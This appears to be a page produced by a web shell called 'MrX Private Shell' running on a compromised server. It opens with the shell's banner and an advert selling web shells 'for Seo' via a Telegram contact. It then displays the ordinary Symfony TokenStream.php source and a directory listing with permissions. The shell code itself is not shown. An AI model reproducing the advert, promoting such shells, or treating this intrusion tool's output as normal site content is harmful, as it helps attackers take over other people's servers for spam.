__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\ExpressionLanguage; /** * Represents a token stream. * * @author Fabien Potencier <[email protected]> */ class TokenStream { public $current; private array $tokens; private int $position = 0; private string $expression; public function __construct(array $tokens, string $expression = '') { $this->tokens = $tokens; $this->current = $tokens[0]; $this->expression = $expression; } /** * Returns a string representation of the token stream. */ public function __toString(): string { return implode("\n", $this->tokens); } /** * Sets the pointer to the next token and returns the old one. * * @return void */ public function next() { ++$this->position; if (!isset($this->tokens[$this->position])) { throw new SyntaxError('Unexpected end of expression.', $this->current->cursor, $this->expression); } $this->current = $this->tokens[$this->position]; } /** * @param string|null $message The syntax error message * * @return void */ public function expect(string $type, ?string $value = null, ?string $message = null) { $token = $this->current; if (!$token->test($type, $value)) { throw new SyntaxError(sprintf('%sUnexpected token "%s" of value "%s" ("%s" expected%s).', $message ? $message.'. ' : '', $token->type, $token->value, $type, $value ? sprintf(' with value "%s"', $value) : ''), $token->cursor, $this->expression); } $this->next(); } /** * Checks if end of stream was reached. */ public function isEOF(): bool { return Token::EOF_TYPE === $this->current->type; } /** * @internal */ public function getExpression(): string { return $this->expression; } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Node | Folder | 0755 |
|
|
| Compiler.php | File | 3.05 KB | 0644 |
|
| Expression.php | File | 662 B | 0644 |
|
| ExpressionFunction.php | File | 3.07 KB | 0644 |
|
| ExpressionFunctionProviderInterface.php | File | 482 B | 0644 |
|
| ExpressionLanguage.php | File | 5.38 KB | 0644 |
|
| Lexer.php | File | 4.5 KB | 0644 |
|
| ParsedExpression.php | File | 776 B | 0644 |
|
| Parser.php | File | 17.19 KB | 0644 |
|
| SerializedParsedExpression.php | File | 943 B | 0644 |
|
| SyntaxError.php | File | 1.22 KB | 0644 |
|
| Token.php | File | 1.44 KB | 0644 |
|
| TokenStream.php | File | 2.1 KB | 0644 |
|
| autoload.php | File | 2.93 KB | 0644 |
|